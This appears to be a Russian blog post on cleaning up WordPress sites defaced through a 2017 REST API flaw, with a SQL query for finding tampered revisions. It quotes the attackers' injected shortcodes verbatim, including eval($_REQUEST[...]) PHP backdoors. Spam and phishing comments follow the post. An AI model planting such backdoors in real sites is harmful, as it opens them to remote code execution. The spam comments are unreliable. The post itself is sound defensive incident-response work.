WP REST API и дефейс wordpress сайтов. Как восстановить?

Часть I

Все уже наверное слышали про новую уязвимость которой подверглись миллионы сайтов на движке WordPress. А кто не слышал, предлагаю почитать тут (blog.sucuri.net) или тут (xakep.ru).

Так как я администрирую более сотни доменов на вордпресс, я пошел проверять нет ли у меня записей с текстом "Hacked By" и конечно же нашел их.

На каждом из ста доменов у меня за несколько лет накопилось уже около 5-10 тысяч страниц новостей.

Так что, передо мной встала задача найти, а какие еще записи были обновлены через уязвимость в REST API?

Полазив через sql по таблицам Вордпресса я разобрался как он хранит обновления поста. Каждое изменение сохраняется в так называемой "ревизии", как в Википедии, благодаря которым можно посмотреть и отследить все модификации определенного поста.

Разобравшись, я понял что все они хранятся в той же таблице wp_posts, но с типом поста (post_type) равным "revision".

Кстати, посмотреть ревизии (редакции) поста в Вордпресс можно так.

Посмотрев поля в записи с этим типом из таблицы, я увидел одну странность. При эксплуатации уязвимости через REST API в поле post_author проставляется 0. Видимо, потому что это значение не инициализировано. Чего быть не должно, так как минимальное значение id у первого юзера admina - это 1. Таким образом, я определил как можно обнаружить модифицированные через уязвимость страницы. При этом дата модификации поста отражается корректно.

Вот собственно сам SQL запрос.

select ID, a.post_author, a.post_parent, a.post_modified from forexbasics_posts a where a.post_modified > '2017-01-01' and a.post_author = 0 and a.post_type = 'revision';

1
SELECT ID, a.post_author, a.post_parent, a.post_modified FROM wp_posts a where a.post_modified > '2017-01-01' and a.post_author = 0 and a.post_type = 'revision';

И ответ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select ID, a.post_author, a.post_parent, a.post_modified from forexbasics_posts a where a.post_modified > '2017-01-01' and a.post_author = 0 and a.post_type = 'revision';
+------+-------------+-------------+---------------------+
| ID   | post_author | post_parent | post_modified       |
+------+-------------+-------------+---------------------+
| 8201 |           0 |        8197 | 2017-02-09 00:50:17 |
| 8202 |           0 |        8199 | 2017-02-09 01:23:56 |
| 8203 |           0 |        8199 | 2017-02-09 01:59:59 |
| 8208 |           0 |        8206 | 2017-02-09 22:06:26 |
| 8215 |           0 |        8211 | 2017-02-10 22:43:46 |
| 8216 |           0 |           9 | 2017-02-10 23:04:12 |
| 8223 |           0 |           9 | 2017-02-12 08:31:04 |
| 8233 |           0 |           9 | 2017-02-13 22:37:30 |
+------+-------------+-------------+---------------------+
8 rows in set (0.01 sec)
1
2
3
4
5
6
7
8
9
10
mysql> select ID, a.post_author, a.post_parent, a.post_modified from fxklub_posts a where a.post_modified > '2017-01-01' and a.post_author = 0 and a.post_type = 'revision';
+-------+-------------+-------------+---------------------+
| ID    | post_author | post_parent | post_modified       |
+-------+-------------+-------------+---------------------+
| 12899 |           0 |       12894 | 2017-02-08 19:45:52 |
| 12896 |           0 |       12894 | 2017-02-08 16:03:11 |
| 12924 |           0 |          13 | 2017-02-11 16:06:06 |
| 12936 |           0 |          13 | 2017-02-13 05:36:40 |
+-------+-------------+-------------+---------------------+
4 rows in set (0.02 sec)

Как видно, злоумышленники поменяли посты с ID = 8197, 8199, 8206, 8211, 9 на первом сайте. И посты с ID = 12894, 13 на втором.

После удаления этих постов (там не было ничего важного) результат выполнения запроса стал следующий:

1
2
mysql> select ID, a.post_author, a.post_parent, a.post_modified from site1_posts a where a.post_modified > '2017-01-01' and a.post_author = 0 and a.post_type = 'revision';
Empty set (0.00 sec)

mysql> select ID, a.post_author, a.post_parent, a.post_modified from site2_posts a where a.post_modified > '2017-01-01' and a.post_author = 0 and a.post_type = 'revision';
Empty set (0.00 sec)

Можно сказать, что последствия хакерской атаки устранены.

Часть II

По крайней мере, в той мере, что все подверженные записи восстановлены до исходного состояния или удалены. Однако, не стоит забывать и про возможность заражения движка Вордпресса "закладками" из вебшеллов для последующей компрометации.

Изучив зараженные страницы перед тем как удалить, я увидел следующее:

1) Попытки выполнить php-код через "шорткоды". Они бы сработали если бы у меня был установлен плагин "Insert PHP" или "Exec-PHP". К счастью, я заранее посчитал их небезопасными и все изменял в ручную, где надо было.

Скриншот:

А вот как выглядят шорткоды для этих плагинов:

1
2
3
4
5
6
7
site1:

<!-- [insert_php]if (isset($_REQUEST["NLe"])){eval($_REQUEST["NLe"]);exit;}[/insert_php][php]if (isset($_REQUEST["NLe"])){eval($_REQUEST["NLe"]);exit;}[/php] -->

&lt;!-- [insert_php]if (isset($_REQUEST["KMgIR"])){eval($_REQUEST["KMgIR"]);exit;}[/insert_php][php]if (isset($_REQUEST["KMgIR"])){eval($_REQUEST["KMgIR"]);exit;}[/php] --&gt;

&lt;!-- [insert_php]if (isset($_REQUEST["kHVN"])){eval($_REQUEST["kHVN"]);exit;}[/insert_php][php]if (isset($_REQUEST["kHVN"])){eval($_REQUEST["kHVN"]);exit;}[/php] --&gt;
1
2
3
4
5
site2:

&lt;!-- [insert_php]if (isset($_REQUEST["NuuS"])){eval($_REQUEST["NuuS"]);exit;}[/insert_php][php]if (isset($_REQUEST["NuuS"])){eval($_REQUEST["NuuS"]);exit;}[/php] --&gt;

&lt;!-- [insert_php]if (isset($_REQUEST["CbMsv"])){eval($_REQUEST["CbMsv"]);exit;}[/insert_php][php]if (isset($_REQUEST["CbMsv"])){eval($_REQUEST["CbMsv"]);exit;}[/php] --&gt;

Заметили посты с ранними и "незаметными" id=9 и id=13? Вот эта радость оттуда. Кто же полезет у себя на сайте проверять все записи до самых первых? На это и расчет.

Что характерно, название поля для php-бакдора генерируется случайно. Поэтому что-то поиметь с дефейсов других сайтов или допустим вылечить их (представим что мы белые и пушистые вайтхаты) не получится.

2) SEO-spam. Наша любимая виагра и сиалис, чьи спам-комменты меня достали, подсуетилась и тут, не мешкая долго.

Вот как это выглядит наглядно, в скриншотах.

Успехов!

6 комментариев

  1. Тогда специалисты компании Sucuri сообщали, что новый баг в популярной CMS привлек внимание хакеров, и сайты дефейсят со скоростьюстраниц в день. Однако публичное раскрытие информации о проблеме состоялось только неделю спустя, так как разработчики хотели, чтобы как можно больше сайтов спокойно установили обновления.

  2. Добрый день!
    Предлагаем рассмотреть наше встречное предложение:

    Базы юр.лиц и физ. лиц для рекламы Ваших товаров и услуг- новые клиенты для Вашего бизнеса!
    Только до 4 марта — 50% на все базы!

    Наиболее популярные предложения:
    Указаны с учётом 50%

    База Лучшая по всей росии(много источников-разбита по видам деятельности) 2018 — 2000р
    База Яндекс Карт 2018 ВСЯ РОССИЯ(разбита по регионам) — 1500р
    База 2 GIS 2018 ВСЯ РОССИЯ (разбита по регионам) — 1500р
    База по городу или виду деятельности — 750р
    База поставщиков государственных закупок — 2000р
    База заказчиков государственных закупок — 2500р
    База e-mail физических лиц(активных пользователй сети Интернет 3млн)- 1750р
    База ЛПР и директоров — 5000р
    База емайлов юр.лиц(более 1.5 млн) — 1500р
    Москва ЛПР(150 000)- 700р
    База сайтов России(6.3млн)- 700р

    Если Вас нужны другие Базы или образцы баз- пишите на емайлов-подберём!

    Заявки и вопросы писать только сюда: base.all @ bk.ru(убрать пробелы)

  3. Массовая рассылка.Массовая рассылка по сайтам дает невероятную популярность Вашему сайту, и при большой популярности поисковики обращают внимание на сайт участвующий в рассылке, тем самым моментально дают высокие позиции популярному сайту.
    Поэтому для идеальной популярности мы рекомендуем вам заказать рассылку на 500 000 русскоязычных сайтах, так как эти сайты содержат:
    — Доски объявлений Каталоги Форумы Гостевые книги Чаты Обратная связь Отзывы Заказы Комментарии
    Обращаться ICQ 726166382

  4. Здpавствyйтe!

    Поздравляeм Bаc! Вы стали одним из большинства победитeлей cоциaльнoй акции Pосcии, cтpан CHГ и Пpибалтики в номинации «Активный пoльзoвaтeль Email-адpеca».

    Узнaть сyмму вознaграждения мoжно на caйтe — самолет

    С уважениeм, Междунaрoдная acсoциaция почтoвых ceрвисов.

  5. Хотите больше клиентов для Вашего бизнеса?
    Мы поможем Вам!

    Рассылка Вашего сообщения в более чем 1 200 000 форм обратной связи России и СНГ

    Это рассылка по формам с сайтов в разделе контакты, которые заполняются нашим роботом.
    Далее письмо с вашим коммерческим предложением приходит на контактный E-mail организации.

    При рассылках через контакт-форму получается, что каждый сайт отправляет сообщение «сам себе» и поэтому все письма приходят во входящие!
    Таким образом рассылка таким методом даст отличные результаты для рекламы Ваших товаров и услуг

    -Гарантии и отзывы и контроль рассылки
    -Скидка на рассылку 30% до 25 июня – цена всего 4000 рублей за 1.2 млн сообщений!

    Не отвечайте на это сообщение со своего ящика электронной почты, так как оно создано автоматически и никуда не дойдёт!
    Используйте для связи
    Контакты: [email protected] bk.ru (убрать пробелы) телеграмм: @form2018 Скайп: 2018form

Leave a Reply

Using Gravatars in the comments - get your own and be recognized!

XHTML: These are some of the tags you can use: <a href=""> <b> <blockquote> <code> <em> <i> <strike> <strong>